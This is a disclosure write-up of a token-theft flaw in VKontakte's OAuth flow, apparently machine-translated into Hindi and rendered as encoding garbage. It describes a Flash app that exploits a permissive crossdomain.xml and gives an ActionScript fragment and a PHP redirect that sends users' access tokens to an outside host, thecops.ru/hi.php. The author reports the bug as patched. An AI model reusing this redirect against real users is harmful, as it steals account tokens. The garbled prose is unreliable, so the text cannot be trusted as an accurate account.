рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐
рдпрд╣ рднреЗрджреНрдпрддрд╛ рдореЗрд░реЗ рджреНрд╡рд╛рд░рд╛ рд▓рдЧрднрдЧ рджреЛ рдорд╣реАрдиреЗ рдкрд╣рд▓реЗ, рдпрд╛ рдЗрд╕рд╕реЗ рднреА рдЕрдзрд┐рдХ рдкрд╛рдИ рдЧрдИ рдереАред
рдлрд┐рд░ рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреА рдЧрдИ, рдФрд░ рдЙрдиреНрд╣реЛрдВрдиреЗ рдЗрд╕реЗ рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдареАрдХ рдХрд░ рд▓рд┐рдпрд╛ред
рдЬреИрд╕рд╛ рдХрд┐ рдореБрдЭреЗ рдЙрд╕ рд╕рдордп рд▓рдЧ рд░рд╣рд╛ рдерд╛ред
рдЬрд▓реНрдж рд╣реА рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд╣реЛ рдЧрдпрд╛ рдХрд┐ рдЙрдиреНрд╣реЛрдВрдиреЗ рдЗрд╕реЗ рдмрд┐рд▓реНрдХреБрд▓ рдареАрдХ рдирд╣реАрдВ рдХрд┐рдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдХреЗрд╡рд▓ рд╕рдВрджреЗрд╢реЛрдВ рддрдХ рд╕реАрдорд┐рдд рдкрд╣реБрдВрдЪ рд╣реИ, рдЬреЛ рдореИрдВрдиреЗ рдЙрд╕ рд╕рдордп рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХрд╛ рдзреНрдпрд╛рди рдЖрдХрд░реНрд╖рд┐рдд рдХрд┐рдпрд╛ рдерд╛ред
рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛, рдореИрдВ рдХрдЯ рдХреЗ рддрд╣рдд рдкрд░реНрдпрд╛рдкреНрдд рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд░реНрдгрди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реВрдВрдЧрд╛ред
рдЦреЛрдЬ
рджрд░рдЕрд╕рд▓ рдпрд╣ рд╡рд┐рдЪрд╛рд░ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЬреНрдЮрд╛рди рдХреЗ рдмрд┐рдирд╛ рдЖрдкреА рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реИ, рдЬреИрд╕реЗ рд╣реА рдореИрдВрдиреЗ рд╕реНрдЯреИрдВрдбрдЕрд▓реЛрди рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рддрд░реАрдХреЛрдВ рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд┐рдпрд╛ред
рдЙрд╕ рд╕рдордп, VKontakte рдиреЗ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА oauth рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдерд╛ред
рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдореБрд╢реНрдХрд┐рд▓ рдХреБрдЫ рднреА рдирд╣реАрдВ рдерд╛, рдмрд╕ рдУрдЙрде рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдПрдкреАрдЖрдИ 2.0 рдХреЗ рд╕рд╛рде рдПрдХ рд╣реА рдбреЛрдореЗрди рдкрд░ рдерд╛, рдФрд░, рддрджрдиреБрд╕рд╛рд░,
рдХреНрд░реЙрд╕рдбреЛрдореЗрди.рдПрдХреНрд╕рдПрдордПрд▓ рдлрд╝рд╛рдЗрд▓ рдХреЗ рд╕рд╛рде, рдЬреЛ рдЖрдкрдХреЛ рдХрд┐рд╕реА рднреА рд╕рд░реНрд╡рд░ рд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдмрд┐рдирд╛ рдХрд┐рд╕реА рд╣рд┐рдЪрдХрд┐рдЪрд╛рд╣рдЯ рдХреЗ, рдореИрдВрдиреЗ рдПрдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рд▓рд┐рдЦрдирд╛ рд╢реБрд░реВ рдХрд░ рджрд┐рдпрд╛ред
рдХреЗ рдЙрдкрдпреЛрдЧ
рдореИрдВрдиреЗ рдкрд╛рдардХреЛрдВ рдХреЛ рддреБрд░рдВрдд рджреЛ рдЪреАрдЬреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЪреЗрддрд╛рд╡рдиреА рджреА рд╣реИ:
- рдореЗрд░рд╛ рддрд░реАрдХрд╛ рдереЛрдбрд╝рд╛ рдЕрдЬреАрдм рд▓рдЧ рд╕рдХрддрд╛ рд╣реИред
- рдореЗрд░рд╛ рдХреЛрдб рдмрд▓реНрдХрд┐ рдорд╡реЗрд╢реА рд╣реИ, рд▓реЗрдХрд┐рди, рджреБрд░реНрднрд╛рдЧреНрдп рд╕реЗ, рдореБрдЭреЗ рдирд╣реАрдВ рдкрддрд╛ рдХрд┐ рдЕрдиреНрдпрдерд╛ рдХреИрд╕реЗред
рдореЗрд░реА рдХрдкрдЯрдкреВрд░реНрдг рдпреЛрдЬрдирд╛ рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдПрдХ рдлреНрд▓реИрд╢ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ рдЬреЛ рдПрдХ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреГрд╖реНрда рдХреЛ рдЖрдЧ рд▓рдЧрд╛ рджреЗрдЧрд╛, рдФрд░ рдлрд┐рд░ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд▓рд┐рдВрдХ рдХреЛ рдЫреЛрдбрд╝ рджреЗрдЧрд╛ред
рдЪрд▓реЛ рдЪрд▓рддреЗ рд╣реИрдВред
рдПрдХ рдмрд┐рдВрджреБ - рдлреНрд▓реИрд╢ рдЖрд╡реЗрджрдиред
рдЪреВрдВрдХрд┐ рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдирд┐: рд╢реБрд▓реНрдХ рдХреНрд░реЙрд╕-рдбреЛрдореЗрди рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдХрд╣реАрдВ рднреА рдЙрдЪрд┐рдд рдХреНрд░реЙрд╕рдбреЛрдореЗрдиред xml рд╣реИ - рдпрд╣ рдПрдХ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд▓рд┐рдВрдХ рдХреЛ рд╕рдЯреАрдХ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХрд╛ рдПрдХрдорд╛рддреНрд░ рддрд░реАрдХрд╛ рдерд╛ред
рдлреНрд▓реИрд╢ рдбреНрд░рд╛рдЗрд╡ рдХреЛрдб рд╕реАрдзрд╛ рд╣реИ, рдФрд░ рд╢рд╛рдпрдж рдпрд╣ рд╕рдмрд╕реЗ рдХрдард┐рди рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ, рдХрдо рд╕реЗ рдХрдо рдореЗрд░реЗ рд▓рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдореИрдВ рд▓рдЧрднрдЧ ActionScript рдирд╣реАрдВ рдЬрд╛рдирддрд╛ред
import flash.net.URLLoader; import flash.net.URLRequest; import flash.events.Event; var auth_page = new URLLoader(); this.addEventListener( Event.ADDED_TO_STAGE, onAddedToStage ); function onAddedToStage(e: Event): void { auth_page.addEventListener(Event.COMPLETE, auth_load);
рдПрдХ рдЫреЛрдЯреА рд╕реА рдЪрд╛рд▓ рд╣реИред
рдпрд╣ рд╕рд┐рд░реНрдл рдЗрддрдирд╛ рд╣реИ рдХрд┐ рдПрдХ рдлрд╝реНрд▓реИрд╢ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реБрд░рдХреНрд╖рд╛ рдиреАрддрд┐рдпреЛрдВ рдХреЗ рдХрд╛рд░рдг рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рд╣реИред
рд▓реЗрдХрд┐рди рд╡реАрдХреЗ рдХреЗ рдкрд╛рд╕ рдпрд╛ рдмрд▓реНрдХрд┐ рдерд╛, рдЕрдм рдЗрд╕реЗ рдбреЙрдХреНрд╕ рд╕реЗ рд╣рдЯрд╛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬреЛ рд╡реАрдХреЗрдУрдВрдЯрдХреИрдЯ рдХреЗ рдЕрдВрджрд░ рдПрдХ рдкреГрд╖реНрда рдкрд░ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдиреЗ рдХреА рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╡рд┐рдзрд┐ рд╣реИред
рд╣рд╛рд▓рд╛рдБрдХрд┐, рдпрд╣ рдПрдХ рд╡рд┐рд╢реЗрд╖ рд╕рдорд╕реНрдпрд╛ рдирд╣реАрдВ рдмрдиреА, рдХреНрдпреЛрдВрдХрд┐ рд╡рд╣рд╛рдБ iframe рдЕрдиреБрдкреНрд░рдпреЛрдЧ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╡реЗ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рджреЛ рдмрд┐рдВрджреБ - iframe рдЖрд╡реЗрджрдиред
Iframe рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ, рд╣рдореЗрдВ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ url рдкрд░ рдкреБрдирд░реНрдирд┐рд░реНрджреЗрд╢рд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдХреБрдЫ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рд╣реЛ рдЬрд╛рдПрдВрдЧреЗред
<? header('Location: '.str_replace(array('https','blank.html'), array('http', '//thecops.ru/hi.php'), $_GET['hash']))); ?>
рдпрд╣ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
Hi.php рдкреЗрдЬ рдкрд░ рд╣рдореЗрдВ access_token рдорд┐рд▓рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рд╕рдВрджреЗрд╢реЛрдВ рдХреЛ рдЫреЛрдбрд╝рдХрд░ рд╕рднреА рддрд░реАрдХреЛрдВ рдХреЗ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВред
рдПрдХ рдЕрдЪреНрдЫрд╛ рдЙрджрд╛рд╣рд░рдг, рдЖрдк
рдпрд╣рд╛рдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВред
рдЖрдкрдХрд╛ рдзреНрдпрд╛рди рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рджред
рдпреБрдкреАрдбреА:
рдЙрддреНрдкрд╛рджрди рдХреЛ рдареАрдХ рдХрд░реЗрдВ, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдмрд╣реБрдд рдЪрд╛рд▓рд╛рдХреА рд╕реЗред
рдЙрджрд╛рд╣рд░рдг рдЕрдм рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реИред